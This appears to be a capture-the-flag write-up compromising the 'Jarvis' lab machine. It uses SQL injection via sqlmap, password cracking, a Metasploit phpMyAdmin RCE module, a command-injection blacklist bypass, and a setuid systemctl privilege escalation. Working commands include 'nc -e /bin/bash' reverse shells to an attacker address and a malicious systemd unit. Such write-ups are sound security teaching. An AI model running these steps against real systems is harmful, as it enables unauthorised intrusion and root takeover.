The initial nmap scan only showed a few open ports:
# nmap 10.10.10.143 -T4 -p- Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-23 08:58 EDT Nmap scan report for 10.10.10.143 Host is up (0.033s latency). Not shown: 65531 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 64999/tcp open unknown
The high port only showed a single line of text when accessed via HTTP and I couldn’t figure anymore on it out. It always just displayed that we are banned.
Running gobuster against port 80 revealed the following folders:
/images (Status: 301) /css (Status: 301) /js (Status: 301) /fonts (Status: 301) /phpmyadmin (Status: 301) /sass (Status: 301) /server-status (Status: 403)
Of course /phpmyadmin is interesting. The version also has known vulnerabilities but all of them require us to authenticate first.
Browsing the site it looks mostly like a static website without many inputs. Only one page takes a parameter, the /room.php URL:
Simply running sqlmap with the “–passwords” option against this will give us valid MySQL credentials. The brute-force of the hash with all default settings takes only a minute:
# sqlmap -u "http://10.10.10.143/room.php?cod=1" (...) [14:51:52] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of") # sqlmap -u "http://10.10.10.143/room.php?cod=1" --passwords [*] starting @ 14:52:29 /2019-07-10/ [14:52:29] [INFO] resuming back-end DBMS 'mysql' [14:52:29] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=1 AND 5517=5517 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: cod=1 AND SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: cod=-7469 UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b6b71,0x6c5765576143544d636a4a4257796d65536251776d72787965634362434d7257434c555865554170,0x7171706271),NULL,NULL,NULL,NULL-- WuKC --- [14:52:30] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 9.0 (stretch) web application technology: Apache 2.4.25 back-end DBMS: MySQL >= 5.0.12 [14:52:30] [INFO] fetching database users password hashes [14:52:30] [INFO] used SQL query returns 1 entry do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [14:52:35] [INFO] writing hashes to a temporary file '/tmp/sqlmapB85vZg3804/sqlmaphashes-DOQup7.txt' do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y [14:52:37] [INFO] using hash method 'mysql_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [14:52:38] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] n [14:52:41] [INFO] starting dictionary-based cracking (mysql_passwd) [14:52:41] [INFO] starting 2 processes [14:52:47] [INFO] cracked password 'imissyou' for user 'DBadmin' database management system users password hashes: [*] DBadmin [1]: password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 clear-text password: imissyou
With that we can now login to phpMyAdmin. But we don’t really need to do that. We already know that in that version of phpMyAdmin there is a remote code execution vulnerability (CVE-2018-12613) for which also a metasploit module exists. We use that module like this now that we have credentials:
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > show options Module options (exploit/multi/http/phpmyadmin_lfi_rce): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD imissyou no Password to authenticate with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.10.143 yes The target address range or CIDR identifier RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /phpmyadmin/ yes Base phpMyAdmin directory path USERNAME DBadmin yes Username to authenticate with VHOST no HTTP server virtual host Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 2 Linux msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run [*] Started reverse TCP handler on 10.10.14.6:4444 [*] Command shell session 1 opened (10.10.14.6:4444 -> 10.10.10.143:58932) at 2019-07-10 13:47:58 -0400 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
With that limited shell we can look around the system for a bit. There only exists one normal user on the system (“pepper”), so we try to escalate to that. Checking for sudo rights this is returned:
$ sudo -l Matching Defaults entries for www-data on jarvis: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on jarvis: (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
So we can run “/var/www/Admin-Utilities/simpler.py” as the user “pepper”. Reading the code there is an interesting “ping” function in that program (highly shortened):
def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command) if __name__ == '__main__': show_header() (...) elif sys.argv[1] == '-p': exec_ping() exit()
We can use the “-p” option of this script. Then we need to evade a blacklist of a few characters and part of our input ends up in a os.system() call. Since neither “$”, “(” nor “)” are blacklisted this is rather easy. We start already a netcat listener on port 6666 and then run:
$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p *********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es *********************************************** Enter an IP: $(/bin/bash) $(/bin/bash) pepper@jarvis:/usr/share/phpmyadmin$ nc -e /bin/bash 10.10.14.6 6666
When it asks for the IP Address we enter “$(/bin/bash)”, this circumvents the filters and starts a new shell as the user “pepper”. But it’s not a full shell, we don’t get any output back from it. I’m sure this can be fixed but instead we just paste “nc -e /bin/bash 10.10.14.6 6666” into that shell which connects back to our listener:
# nc -nlvp 6666 listening on [any] 6666 ... connect to [10.10.14.6] from (UNKNOWN) [10.10.10.143] 48748 $ id uid=1000(pepper) gid=1000(pepper) groups=1000(pepper) $ cat user.txt 2afa36c4f05b37b34259c93551f5c44f
With that we got the user flag. Trying to escalate to root we search for uncommon setuid binaries and we find that “/bin/systemctl” has strange permissions:
$ ls -l /bin/systemctl -rwsr-x--- 1 root pepper 174520 Feb 17 03:22 /bin/systemctl
With the help of GTFObins we can now escalate to root. We again already start a new netcat listener on port 7777, then:
$ mkdir -p ~/.config/systemd/user $ cd ~/.config/systemd/user $ echo '[Service] Type=oneshot ExecStart=/bin/sh -c "nc -e /bin/bash 10.10.14.6 7777" [Install] WantedBy=multi-user.target' > test.service $ /bin/systemctl link /home/pepper/.config/systemd/user/test.service <link /home/pepper/.config/systemd/user/test.service Created symlink /etc/systemd/system/test.service -> /home/pepper/.config/systemd/user/test.service. $ /bin/systemctl enable --now /home/pepper/.config/systemd/user/test.service <-now /home/pepper/.config/systemd/user/test.service Created symlink /etc/systemd/system/multi-user.target.wants/test.service -> /home/pepper/.config/systemd/user/test.service.
With that we create a new unit file in the users home folder under “~/.config/systemd/user”, we then link and enable it. With that we get a connection back to our listener:
# nc -nlvp 7777 listening on [any] 7777 ... connect to [10.10.14.6] from (UNKNOWN) [10.10.10.143] 50372 id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt d41d8cd98f00b204e9800998ecf84271
And with that we finally got the root flag.